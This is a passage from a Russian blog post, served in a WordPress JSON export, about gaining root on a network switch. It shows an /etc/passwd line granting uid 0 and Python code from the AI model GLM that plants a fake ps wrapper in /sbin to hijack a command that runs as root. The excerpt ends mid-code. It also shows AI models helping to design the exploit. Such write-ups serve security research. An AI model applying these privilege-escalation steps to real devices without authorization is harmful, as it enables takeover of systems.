\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f normal \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0435\u043c \/etc\/passwd (\u0438 \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430 \u044d\u0442\u043e\u0442 \u0444\u0430\u0439\u043b, \u0430 \u0435\u0449\u0451 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u0434\u0440\u0443\u0433\u0438\u0445) \u0438 \u0432 \u043d\u0435\u0433\u043e \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043c\u043e\u0436\u043d\u043e \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0437\u0430\u043f\u0438\u0441\u044c \u0432\u0438\u0434\u0430: attacker::0:0:attacker:\/root:\/bin\/sh, \u043d\u043e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u043d\u0435\u044f\u0441\u043d\u043e \u043a\u0430\u043a \u044d\u0442\u0438\u043c \u043f\u043e\u0442\u043e\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f, \u043d\u0438 \u0443 \u043e\u0434\u043d\u043e\u0433\u043e \u0431\u0438\u043d\u0430\u0440\u043d\u0438\u043a\u0430 \u043d\u0435\u0442 suid-\u0431\u0438\u0442\u0430. \u041c\u043e\u0436\u043d\u043e \u0442\u0430\u043a\u0436\u0435 \u043f\u043e\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0441\u043a\u0440\u0438\u043f\u0442\u044b \u0437\u0430\u043f\u0443\u0441\u043a\u0430, \u043d\u0430 \u043d\u0438\u0445 \u0442\u043e\u0436\u0435 \u0435\u0441\u0442\u044c \u043f\u0440\u0430\u0432\u0430 \u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f normal, \u043d\u043e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u0432\u0441\u0451 \u044d\u0442\u043e \u0436\u0438\u0432\u0451\u0442 \u0432 ramfs \u0434\u043e \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0439 \u043f\u0435\u0440\u0435\u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438. GLM \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u0442 \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c \u0442\u044f\u0436\u0451\u043b\u0443\u044e \u0430\u0440\u0442\u0438\u043b\u043b\u0435\u0440\u0438\u044e \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u044f\u0434\u0440\u0430 (\u0442\u0435\u043c \u0431\u043e\u043b\u0435\u0435 \u0447\u0442\u043e \u043e\u043d\u043e \u043e\u0447\u0435\u043d\u044c \u0441\u0442\u0430\u0440\u043e\u0435 \u0438 \u0437\u0430 5 \u043b\u0435\u0442 \u0438\u0445 \u043d\u0430\u0439\u0434\u0435\u043d\u043e \u043d\u0435\u043c\u0430\u043b\u043e). \u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u044d\u0442\u0438 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u0441\u043b\u0438\u0448\u043a\u043e\u043c \u0440\u0438\u0441\u043a\u043e\u0432\u0430\u043d\u043d\u043e, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0434\u043e \u0441\u0432\u0438\u0442\u0447\u0430 \u043d\u0435\u0442 \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0438 \u0435\u0441\u043b\u0438 \u0437\u0430\u0432\u0438\u0441\u043d\u0435\u0442 \u0438\u043b\u0438 \u0443\u043f\u0430\u0434\u0451\u0442 \u0440\u043e\u0434\u043d\u043e\u0439 CLI, \u0442\u043e \u043f\u043e\u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u043d\u0430 \u0435\u0433\u043e \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435. \u041d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0434\u0440\u0443\u0433\u0438\u0445 \u043d\u0435\u0439\u0440\u043e\u0441\u0435\u0442\u0435\u0439 \u0442\u043e\u0436\u0435 \u043d\u0435 \u0441\u043c\u043e\u0433\u043b\u0438 \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0438\u0442\u044c \u0440\u0435\u0430\u043b\u0438\u0441\u0442\u0438\u0447\u043d\u044b\u0445 \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432. \u041f\u0435\u0440\u0435\u0434\u0430\u0432 GLM \u0438\u0434\u0435\u044e \u043e \u0442\u043e\u043c, \u0447\u0442\u043e \u0447\u0430\u0441\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0430 \u0447\u0435\u0440\u0435\u0437 shell-command \u0438\u0437 CLI \u0441\u0432\u0438\u0442\u0447\u0430, \u0434\u0430\u043b\u0435\u0435 \u0443\u0431\u0435\u0436\u0434\u0430\u0435\u043c\u0441\u044f \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u044d\u0442\u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u044e\u0442\u0441\u044f \u0438\u0437-\u043f\u043e\u0434 root, \u0442.\u0435. \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0441\u0442\u043e \u0437\u0430\u043c\u0435\u043d\u0438\u0442\u044c \u043a\u0430\u043a\u0443\u044e-\u043d\u0438\u0431\u0443\u0434\u044c \u0438\u0437 \u044d\u0442\u0438\u0445 \u043a\u043e\u043c\u0430\u043d\u0434 \u043d\u0430 \u0441\u043a\u0440\u0438\u043f\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0431\u0443\u0434\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0442\u044c\u0441\u044f \u043e\u0442 root. \u041d\u043e GLM \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0438\u043b \u0431\u043e\u043b\u0435\u0435 \u0438\u0437\u044f\u0449\u043d\u044b\u0439 \u0432\u0430\u0440\u0438\u0430\u043d\u0442 &#8212; \u0441\u0434\u0435\u043b\u0430\u0442\u044c command hijacking (\u0447\u0442\u043e\u0431\u044b \u043d\u0435 \u0437\u0430\u043c\u0435\u043d\u044f\u0442\u044c \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0438\u0439 ps) \u0438 \u043f\u0440\u043e\u0441\u0442\u043e \u043f\u043e\u043b\u043e\u0436\u0438\u0442\u044c \u0444\u0435\u0439\u043a\u043e\u0432\u044b\u0439 ps \u0432 \/sbin, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439 PATH \u0438\u0434\u0451\u0442 \u0440\u0430\u043d\u044c\u0448\u0435, \u0447\u0435\u043c \/usr\/bin (\u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0438\u0439 ps \u043b\u0435\u0436\u0438\u0442 \u0432 \/usr\/bin):ps.py (\u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0444\u0435\u0439\u043a\u043e\u0432\u043e\u0433\u043e ps \u0432 \/sbin)import opsimport osimport timedef ops_condition(_ops):    _ops.timer.countdown(&#171;t&#187;, 3)    return 0def run_bash(bash, cmd, timeout=5):    &#171;&#187;&#187;Run cmd via bash, return (stdout+stderr) string.&#187;&#187;&#187;    out = &#171;\/mnt\/flash\/_cmd.out&#187;    try:        os.unlink(out)    except Exception:        pass    dfd = os.open(out, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o644)    actions = [        (os.POSIX_SPAWN_DUP2, dfd, 1),        (os.POSIX_SPAWN_DUP2, dfd, 2),        (os.POSIX_SPAWN_CLOSE, dfd),    ]    argv = [bash, &#171;-c&#187;, cmd]    pid = os.posix_spawn(argv[0], argv, {}, file_actions=actions)    os.close(dfd)    deadline = time.time() + timeout    while time.time() &lt; deadline:        try:            wpid, status = os.waitpid(pid, os.WNOHANG)            if wpid != 0:                break        except ChildProcessError:            break        time.sleep(0.1)    time.sleep(0.15)    try:        with open(out, &#171;rb&#187;) as f:            return f.read().decode(&#171;utf-8&#187;, &#171;replace&#187;)    except Exception as e:        return &#171;READ_ERR:&#187; + repr(e)[:100]def ops_execute(_ops):    o = _ops    bash = &#171;\/mnt\/flash\/$_user\/bash&#187;    # \/sbin\/ps wrapper: run id, save proof, then call original ps    ps_script = (        &#8216;#!\/bin\/sh\\n&#8217;        &#8216;{ echo \\&#8217;=== PS root TRIGGERED ===\\&#8217;; id; &#8216;        &#8216;echo \\&#8217;=== PS root END ===\\&#8217;; } &gt; \/mnt\/flash\/_root_proof_id 2&gt;&amp;1\\n&#8217;        &#8216;\/bin\/ps &#171;$@&#187;\\n&#8217;    )    # Write payload to&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-489934","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/489934","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=489934"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/489934\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=489934"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=489934"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=489934"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}